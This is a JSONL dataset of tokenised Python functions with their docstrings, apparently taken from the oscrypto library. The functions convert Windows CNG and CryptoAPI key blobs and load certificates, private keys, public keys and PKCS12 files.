{"signature": "def _bcrypt_interpret_dsa_key_blob(key_type, version, blob_struct, blob):", "body": "key_byte_length = native(int, blob_struct.cbKey)<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>q = int_from_bytes(native(byte_cls, blob_struct.q))<EOL>g_offset = key_byte_length<EOL>public_offset = g_offset + key_byte_length<EOL>private_offset = public_offset + key_byte_length<EOL>p = int_from_bytes(blob[<NUM_LIT:0>:g_offset])<EOL>g = int_from_bytes(blob[g_offset:public_offset])<EOL><DEDENT>elif version == <NUM_LIT:2>:<EOL><INDENT>seed_byte_length = native(int, blob_struct.cbSeedLength)<EOL>group_byte_length = native(int, blob_struct.cbGroupSize)<EOL>q_offset = seed_byte_length<EOL>p_offset = q_offset + group_byte_length<EOL>g_offset = p_offset + key_byte_length<EOL>public_offset = g_offset + key_byte_length<EOL>private_offset = public_offset + key_byte_length<EOL>q = int_from_bytes(blob[q_offset:p_offset])<EOL>p = int_from_bytes(blob[p_offset:g_offset])<EOL>g = int_from_bytes(blob[g_offset:public_offset])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % repr(version))<EOL><DEDENT>if key_type == '<STR_LIT>':<EOL><INDENT>public = int_from_bytes(blob[public_offset:private_offset])<EOL>return keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.DSAParams({<EOL>'<STR_LIT:p>': p,<EOL>'<STR_LIT:q>': q,<EOL>'<STR_LIT:g>': g,<EOL>})<EOL>}),<EOL>'<STR_LIT>': core.Integer(public),<EOL>})<EOL><DEDENT>elif key_type == '<STR_LIT>':<EOL><INDENT>private = int_from_bytes(blob[private_offset:private_offset + key_byte_length])<EOL>return keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.DSAParams({<EOL>'<STR_LIT:p>': p,<EOL>'<STR_LIT:q>': q,<EOL>'<STR_LIT:g>': g,<EOL>})<EOL>}),<EOL>'<STR_LIT>': core.Integer(private),<EOL>})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_type)<EOL>))<EOL><DEDENT>", "docstring": "Take a CNG BCRYPT_DSA_KEY_BLOB or BCRYPT_DSA_KEY_BLOB_V2 and converts it\ninto an ASN.1 structure\n\n:param key_type:\n    A unicode string of \"private\" or \"public\"\n\n:param version:\n    An integer - 1 or 2, indicating the blob is BCRYPT_DSA_KEY_BLOB or\n    BCRYPT_DSA_KEY_BLOB_V2\n\n:param blob_struct:\n    An instance of BCRYPT_DSA_KEY_BLOB or BCRYPT_DSA_KEY_BLOB_V2\n\n:param blob:\n    A byte string of the binary data contained after the struct\n\n:return:\n    An asn1crypto.keys.PrivateKeyInfo or asn1crypto.keys.PublicKeyInfo\n    object, based on the key_type param", "id": "f9489:m8"}
{"signature": "def _bcrypt_interpret_ec_key_blob(key_type, blob_struct, blob):", "body": "magic = native(int, blob_struct.dwMagic)<EOL>key_byte_length = native(int, blob_struct.cbKey)<EOL>curve = {<EOL>BcryptConst.BCRYPT_ECDSA_PRIVATE_P256_MAGIC: '<STR_LIT>',<EOL>BcryptConst.BCRYPT_ECDSA_PRIVATE_P384_MAGIC: '<STR_LIT>',<EOL>BcryptConst.BCRYPT_ECDSA_PRIVATE_P521_MAGIC: '<STR_LIT>',<EOL>BcryptConst.BCRYPT_ECDSA_PUBLIC_P256_MAGIC: '<STR_LIT>',<EOL>BcryptConst.BCRYPT_ECDSA_PUBLIC_P384_MAGIC: '<STR_LIT>',<EOL>BcryptConst.BCRYPT_ECDSA_PUBLIC_P521_MAGIC: '<STR_LIT>',<EOL>}[magic]<EOL>public = b'<STR_LIT>' + blob[<NUM_LIT:0>:key_byte_length * <NUM_LIT:2>]<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>return keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.ECDomainParameters(<EOL>name='<STR_LIT>',<EOL>value=curve<EOL>)<EOL>}),<EOL>'<STR_LIT>': public,<EOL>})<EOL><DEDENT>elif key_type == '<STR_LIT>':<EOL><INDENT>private = int_from_bytes(blob[key_byte_length * <NUM_LIT:2>:key_byte_length * <NUM_LIT:3>])<EOL>return keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.ECDomainParameters(<EOL>name='<STR_LIT>',<EOL>value=curve<EOL>)<EOL>}),<EOL>'<STR_LIT>': keys.ECPrivateKey({<EOL>'<STR_LIT:version>': '<STR_LIT>',<EOL>'<STR_LIT>': private,<EOL>'<STR_LIT>': public,<EOL>}),<EOL>})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_type)<EOL>))<EOL><DEDENT>", "docstring": "Take a CNG BCRYPT_ECCKEY_BLOB and converts it into an ASN.1 structure\n\n:param key_type:\n    A unicode string of \"private\" or \"public\"\n\n:param blob_struct:\n    An instance of BCRYPT_ECCKEY_BLOB\n\n:param blob:\n    A byte string of the binary data contained after the struct\n\n:return:\n    An asn1crypto.keys.PrivateKeyInfo or asn1crypto.keys.PublicKeyInfo\n    object, based on the key_type param", "id": "f9489:m9"}
{"signature": "def load_certificate(source):", "body": "if isinstance(source, x509.Certificate):<EOL><INDENT>certificate = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>certificate = parse_certificate(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>certificate = parse_certificate(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>return _load_key(certificate, Certificate)<EOL>", "docstring": "Loads an x509 certificate into a Certificate object\n\n:param source:\n    A byte string of file contents or a unicode string filename\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A Certificate object", "id": "f9489:m10"}
{"signature": "def _load_key(key_object, container):", "body": "key_info = key_object<EOL>if isinstance(key_object, x509.Certificate):<EOL><INDENT>key_info = key_object['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>algo = key_info.algorithm<EOL>curve_name = None<EOL>if algo == '<STR_LIT>':<EOL><INDENT>curve_type, curve_name = key_info.curve<EOL>if curve_type != '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if curve_name not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>elif algo == '<STR_LIT>':<EOL><INDENT>if key_info.hash_algo is None:<EOL><INDENT>raise IncompleteAsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>elif key_info.bit_size > <NUM_LIT> and (_win_version_info < (<NUM_LIT:6>, <NUM_LIT:2>) or _backend == '<STR_LIT>'):<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>key_info.hash_algo.upper(),<EOL>key_info.bit_size<EOL>))<EOL><DEDENT>elif key_info.bit_size == <NUM_LIT> and key_info.hash_algo == '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>if algo == '<STR_LIT>':<EOL><INDENT>return container(None, key_object)<EOL><DEDENT>return _advapi32_load_key(key_object, key_info, container)<EOL><DEDENT>return _bcrypt_load_key(key_object, key_info, container, curve_name)<EOL>", "docstring": "Loads a certificate, public key or private key into a Certificate,\nPublicKey or PrivateKey object\n\n:param key_object:\n    An asn1crypto.x509.Certificate, asn1crypto.keys.PublicKeyInfo or\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param container:\n    The class of the object to hold the key_handle\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey, PublicKey or Certificate object, based on container", "id": "f9489:m11"}
{"signature": "def _advapi32_load_key(key_object, key_info, container):", "body": "key_type = '<STR_LIT>' if isinstance(key_info, keys.PublicKeyInfo) else '<STR_LIT>'<EOL>algo = key_info.algorithm<EOL>if algo == '<STR_LIT>':<EOL><INDENT>provider = Advapi32Const.MS_ENH_RSA_AES_PROV<EOL><DEDENT>else:<EOL><INDENT>provider = Advapi32Const.MS_ENH_DSS_DH_PROV<EOL><DEDENT>context_handle = None<EOL>key_handle = None<EOL>try:<EOL><INDENT>context_handle = open_context_handle(provider, verify_only=key_type == '<STR_LIT>')<EOL>blob = _advapi32_create_blob(key_info, key_type, algo)<EOL>buffer_ = buffer_from_bytes(blob)<EOL>key_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptImportKey(<EOL>context_handle,<EOL>buffer_,<EOL>len(blob),<EOL>null(),<EOL><NUM_LIT:0>,<EOL>key_handle_pointer<EOL>)<EOL>handle_error(res)<EOL>key_handle = unwrap(key_handle_pointer)<EOL>output = container(key_handle, key_object)<EOL>output.context_handle = context_handle<EOL>if algo == '<STR_LIT>':<EOL><INDENT>ex_blob = _advapi32_create_blob(key_info, key_type, algo, signing=False)<EOL>ex_buffer = buffer_from_bytes(ex_blob)<EOL>ex_key_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptImportKey(<EOL>context_handle,<EOL>ex_buffer,<EOL>len(ex_blob),<EOL>null(),<EOL><NUM_LIT:0>,<EOL>ex_key_handle_pointer<EOL>)<EOL>handle_error(res)<EOL>output.ex_key_handle = unwrap(ex_key_handle_pointer)<EOL><DEDENT>return output<EOL><DEDENT>except (Exception):<EOL><INDENT>if key_handle:<EOL><INDENT>advapi32.CryptDestroyKey(key_handle)<EOL><DEDENT>if context_handle:<EOL><INDENT>close_context_handle(context_handle)<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Loads a certificate, public key or private key into a Certificate,\nPublicKey or PrivateKey object via CryptoAPI\n\n:param key_object:\n    An asn1crypto.x509.Certificate, asn1crypto.keys.PublicKeyInfo or\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param key_info:\n    An asn1crypto.keys.PublicKeyInfo or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:param container:\n    The class of the object to hold the key_handle\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey, PublicKey or Certificate object, based on container", "id": "f9489:m12"}
{"signature": "def _advapi32_create_blob(key_info, key_type, algo, signing=True):", "body": "if key_type == '<STR_LIT>':<EOL><INDENT>blob_type = Advapi32Const.PUBLICKEYBLOB<EOL><DEDENT>else:<EOL><INDENT>blob_type = Advapi32Const.PRIVATEKEYBLOB<EOL><DEDENT>if algo == '<STR_LIT>':<EOL><INDENT>struct_type = '<STR_LIT>'<EOL>if signing:<EOL><INDENT>algorithm_id = Advapi32Const.CALG_RSA_SIGN<EOL><DEDENT>else:<EOL><INDENT>algorithm_id = Advapi32Const.CALG_RSA_KEYX<EOL><DEDENT><DEDENT>else:<EOL><INDENT>struct_type = '<STR_LIT>'<EOL>algorithm_id = Advapi32Const.CALG_DSS_SIGN<EOL><DEDENT>blob_header_pointer = struct(advapi32, '<STR_LIT>')<EOL>blob_header = unwrap(blob_header_pointer)<EOL>blob_header.bType = blob_type<EOL>blob_header.bVersion = Advapi32Const.CUR_BLOB_VERSION<EOL>blob_header.reserved = <NUM_LIT:0><EOL>blob_header.aiKeyAlg = algorithm_id<EOL>blob_struct_pointer = struct(advapi32, struct_type)<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.publickeystruc = blob_header<EOL>bit_size = key_info.bit_size<EOL>len1 = bit_size // <NUM_LIT:8><EOL>len2 = bit_size // <NUM_LIT:16><EOL>if algo == '<STR_LIT>':<EOL><INDENT>pubkey_pointer = struct(advapi32, '<STR_LIT>')<EOL>pubkey = unwrap(pubkey_pointer)<EOL>pubkey.bitlen = bit_size<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>parsed_key_info = key_info['<STR_LIT>'].parsed<EOL>pubkey.magic = Advapi32Const.RSA1<EOL>pubkey.pubexp = parsed_key_info['<STR_LIT>'].native<EOL>blob_data = int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len1)[::-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>parsed_key_info = key_info['<STR_LIT>'].parsed<EOL>pubkey.magic = Advapi32Const.RSA2<EOL>pubkey.pubexp = parsed_key_info['<STR_LIT>'].native<EOL>blob_data = int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len1)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len2)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len2)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len2)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len2)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len2)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(parsed_key_info['<STR_LIT>'].native, signed=False, width=len1)[::-<NUM_LIT:1>]<EOL><DEDENT>blob_struct.rsapubkey = pubkey<EOL><DEDENT>else:<EOL><INDENT>pubkey_pointer = struct(advapi32, '<STR_LIT>')<EOL>pubkey = unwrap(pubkey_pointer)<EOL>pubkey.bitlen = bit_size<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>pubkey.magic = Advapi32Const.DSS1<EOL>params = key_info['<STR_LIT>']['<STR_LIT>'].native<EOL>key_data = int_to_bytes(key_info['<STR_LIT>'].parsed.native, signed=False, width=len1)[::-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>pubkey.magic = Advapi32Const.DSS2<EOL>params = key_info['<STR_LIT>']['<STR_LIT>'].native<EOL>key_data = int_to_bytes(key_info['<STR_LIT>'].parsed.native, signed=False, width=<NUM_LIT:20>)[::-<NUM_LIT:1>]<EOL><DEDENT>blob_struct.dsspubkey = pubkey<EOL>blob_data = int_to_bytes(params['<STR_LIT:p>'], signed=False, width=len1)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(params['<STR_LIT:q>'], signed=False, width=<NUM_LIT:20>)[::-<NUM_LIT:1>]<EOL>blob_data += int_to_bytes(params['<STR_LIT:g>'], signed=False, width=len1)[::-<NUM_LIT:1>]<EOL>blob_data += key_data<EOL>dssseed_pointer = struct(advapi32, '<STR_LIT>')<EOL>dssseed = unwrap(dssseed_pointer)<EOL>dssseed.counter = <NUM_LIT><EOL>blob_data += struct_bytes(dssseed_pointer)<EOL><DEDENT>return struct_bytes(blob_struct_pointer) + blob_data<EOL>", "docstring": "Generates a blob for importing a key to CryptoAPI\n\n:param key_info:\n    An asn1crypto.keys.PublicKeyInfo or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:param key_type:\n    A unicode string of \"public\" or \"private\"\n\n:param algo:\n    A unicode string of \"rsa\" or \"dsa\"\n\n:param signing:\n    If the key handle is for signing - may only be False for rsa keys\n\n:return:\n    A byte string of a blob to pass to advapi32.CryptImportKey()", "id": "f9489:m13"}
{"signature": "def _bcrypt_load_key(key_object, key_info, container, curve_name):", "body": "alg_handle = None<EOL>key_handle = None<EOL>key_type = '<STR_LIT>' if isinstance(key_info, keys.PublicKeyInfo) else '<STR_LIT>'<EOL>algo = key_info.algorithm<EOL>try:<EOL><INDENT>alg_selector = key_info.curve[<NUM_LIT:1>] if algo == '<STR_LIT>' else algo<EOL>alg_constant = {<EOL>'<STR_LIT>': BcryptConst.BCRYPT_RSA_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_DSA_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P256_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P384_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P521_ALGORITHM,<EOL>}[alg_selector]<EOL>alg_handle = open_alg_handle(alg_constant)<EOL>if algo == '<STR_LIT>':<EOL><INDENT>if key_type == '<STR_LIT>':<EOL><INDENT>blob_type = BcryptConst.BCRYPT_RSAPUBLIC_BLOB<EOL>magic = BcryptConst.BCRYPT_RSAPUBLIC_MAGIC<EOL>parsed_key = key_info['<STR_LIT>'].parsed<EOL>prime1_size = <NUM_LIT:0><EOL>prime2_size = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>blob_type = BcryptConst.BCRYPT_RSAFULLPRIVATE_BLOB<EOL>magic = BcryptConst.BCRYPT_RSAFULLPRIVATE_MAGIC<EOL>parsed_key = key_info['<STR_LIT>'].parsed<EOL>prime1 = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>prime2 = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>exponent1 = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>exponent2 = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>coefficient = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>private_exponent = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>prime1_size = len(prime1)<EOL>prime2_size = len(prime2)<EOL><DEDENT>public_exponent = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>modulus = int_to_bytes(parsed_key['<STR_LIT>'].native)<EOL>blob_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.Magic = magic<EOL>blob_struct.BitLength = key_info.bit_size<EOL>blob_struct.cbPublicExp = len(public_exponent)<EOL>blob_struct.cbModulus = len(modulus)<EOL>blob_struct.cbPrime1 = prime1_size<EOL>blob_struct.cbPrime2 = prime2_size<EOL>blob = struct_bytes(blob_struct_pointer) + public_exponent + modulus<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>blob += prime1 + prime2<EOL>blob += fill_width(exponent1, prime1_size)<EOL>blob += fill_width(exponent2, prime2_size)<EOL>blob += fill_width(coefficient, prime1_size)<EOL>blob += fill_width(private_exponent, len(modulus))<EOL><DEDENT><DEDENT>elif algo == '<STR_LIT>':<EOL><INDENT>if key_type == '<STR_LIT>':<EOL><INDENT>blob_type = BcryptConst.BCRYPT_DSA_PUBLIC_BLOB<EOL>public_key = key_info['<STR_LIT>'].parsed.native<EOL>params = key_info['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>blob_type = BcryptConst.BCRYPT_DSA_PRIVATE_BLOB<EOL>public_key = key_info.public_key.native<EOL>private_bytes = int_to_bytes(key_info['<STR_LIT>'].parsed.native)<EOL>params = key_info['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>public_bytes = int_to_bytes(public_key)<EOL>p = int_to_bytes(params['<STR_LIT:p>'].native)<EOL>g = int_to_bytes(params['<STR_LIT:g>'].native)<EOL>q = int_to_bytes(params['<STR_LIT:q>'].native)<EOL>if key_info.bit_size > <NUM_LIT>:<EOL><INDENT>q_len = len(q)<EOL><DEDENT>else:<EOL><INDENT>q_len = <NUM_LIT:20><EOL><DEDENT>key_width = max(len(public_bytes), len(g), len(p))<EOL>public_bytes = fill_width(public_bytes, key_width)<EOL>p = fill_width(p, key_width)<EOL>g = fill_width(g, key_width)<EOL>q = fill_width(q, q_len)<EOL>count = b'<STR_LIT>' * <NUM_LIT:4><EOL>seed = b'<STR_LIT>' * q_len<EOL>if key_info.bit_size > <NUM_LIT>:<EOL><INDENT>if key_type == '<STR_LIT>':<EOL><INDENT>magic = BcryptConst.BCRYPT_DSA_PUBLIC_MAGIC_V2<EOL><DEDENT>else:<EOL><INDENT>magic = BcryptConst.BCRYPT_DSA_PRIVATE_MAGIC_V2<EOL><DEDENT>blob_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.dwMagic = magic<EOL>blob_struct.cbKey = key_width<EOL>blob_struct.hashAlgorithm = BcryptConst.DSA_HASH_ALGORITHM_SHA256<EOL>blob_struct.standardVersion = BcryptConst.DSA_FIPS186_3<EOL>blob_struct.cbSeedLength = q_len<EOL>blob_struct.cbGroupSize = q_len<EOL>blob_struct.Count = byte_array(count)<EOL>blob = struct_bytes(blob_struct_pointer)<EOL>blob += seed + q + p + g + public_bytes<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>blob += fill_width(private_bytes, q_len)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if key_type == '<STR_LIT>':<EOL><INDENT>magic = BcryptConst.BCRYPT_DSA_PUBLIC_MAGIC<EOL><DEDENT>else:<EOL><INDENT>magic = BcryptConst.BCRYPT_DSA_PRIVATE_MAGIC<EOL><DEDENT>blob_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.dwMagic = magic<EOL>blob_struct.cbKey = key_width<EOL>blob_struct.Count = byte_array(count)<EOL>blob_struct.Seed = byte_array(seed)<EOL>blob_struct.q = byte_array(q)<EOL>blob = struct_bytes(blob_struct_pointer) + p + g + public_bytes<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>blob += fill_width(private_bytes, q_len)<EOL><DEDENT><DEDENT><DEDENT>elif algo == '<STR_LIT>':<EOL><INDENT>if key_type == '<STR_LIT>':<EOL><INDENT>blob_type = BcryptConst.BCRYPT_ECCPUBLIC_BLOB<EOL>public_key = key_info['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>blob_type = BcryptConst.BCRYPT_ECCPRIVATE_BLOB<EOL>public_key = key_info.public_key<EOL>private_bytes = int_to_bytes(key_info['<STR_LIT>'].parsed['<STR_LIT>'].native)<EOL><DEDENT>blob_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>magic = {<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PUBLIC_P256_MAGIC,<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PUBLIC_P384_MAGIC,<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PUBLIC_P521_MAGIC,<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PRIVATE_P256_MAGIC,<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PRIVATE_P384_MAGIC,<EOL>('<STR_LIT>', '<STR_LIT>'): BcryptConst.BCRYPT_ECDSA_PRIVATE_P521_MAGIC,<EOL>}[(key_type, curve_name)]<EOL>key_width = {<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT><EOL>}[curve_name]<EOL>x, y = public_key.to_coords()<EOL>x_bytes = int_to_bytes(x)<EOL>y_bytes = int_to_bytes(y)<EOL>x_bytes = fill_width(x_bytes, key_width)<EOL>y_bytes = fill_width(y_bytes, key_width)<EOL>blob_struct.dwMagic = magic<EOL>blob_struct.cbKey = key_width<EOL>blob = struct_bytes(blob_struct_pointer) + x_bytes + y_bytes<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>blob += fill_width(private_bytes, key_width)<EOL><DEDENT><DEDENT>key_handle_pointer = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptImportKeyPair(<EOL>alg_handle,<EOL>null(),<EOL>blob_type,<EOL>key_handle_pointer,<EOL>blob,<EOL>len(blob),<EOL>BcryptConst.BCRYPT_NO_KEY_VALIDATION<EOL>)<EOL>handle_error(res)<EOL>key_handle = unwrap(key_handle_pointer)<EOL>return container(key_handle, key_object)<EOL><DEDENT>finally:<EOL><INDENT>if alg_handle:<EOL><INDENT>close_alg_handle(alg_handle)<EOL><DEDENT><DEDENT>", "docstring": "Loads a certificate, public key or private key into a Certificate,\nPublicKey or PrivateKey object via CNG\n\n:param key_object:\n    An asn1crypto.x509.Certificate, asn1crypto.keys.PublicKeyInfo or\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param key_info:\n    An asn1crypto.keys.PublicKeyInfo or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:param container:\n    The class of the object to hold the key_handle\n\n:param curve_name:\n    None or a unicode string of the curve name for an EC key\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey, PublicKey or Certificate object, based on container", "id": "f9489:m14"}
{"signature": "def load_private_key(source, password=None):", "body": "if isinstance(source, keys.PrivateKeyInfo):<EOL><INDENT>private_object = source<EOL><DEDENT>else:<EOL><INDENT>if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>private_object = parse_private(source, password)<EOL><DEDENT>return _load_key(private_object, PrivateKey)<EOL>", "docstring": "Loads a private key into a PrivateKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param password:\n    A byte or unicode string to decrypt the private key file. Unicode\n    strings will be encoded using UTF-8. Not used is the source is a\n    PrivateKeyInfo object.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the private key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey object", "id": "f9489:m15"}
{"signature": "def load_public_key(source):", "body": "if isinstance(source, keys.PublicKeyInfo):<EOL><INDENT>public_key = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>public_key = parse_public(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>public_key = parse_public(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(public_key)<EOL>))<EOL><DEDENT>return _load_key(public_key, PublicKey)<EOL>", "docstring": "Loads a public key into a PublicKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PublicKeyInfo object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the public key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PublicKey object", "id": "f9489:m16"}
{"signature": "def load_pkcs12(source, password=None):", "body": "if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>key_info, cert_info, extra_certs_info = parse_pkcs12(source, password)<EOL>key = None<EOL>cert = None<EOL>if key_info:<EOL><INDENT>key = _load_key(key_info, PrivateKey)<EOL><DEDENT>if cert_info:<EOL><INDENT>cert = _load_key(cert_info.public_key, Certificate)<EOL><DEDENT>extra_certs = [_load_key(info.public_key, Certificate) for info in extra_certs_info]<EOL>return (key, cert, extra_certs)<EOL>", "docstring": "Loads a .p12 or .pfx file into a PrivateKey object and one or more\nCertificates objects\n\n:param source:\n    A byte string of file contents or a unicode string filename\n\n:param password:\n    A byte or unicode string to decrypt the PKCS12 file. Unicode strings\n    will be encoded using UTF-8.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid 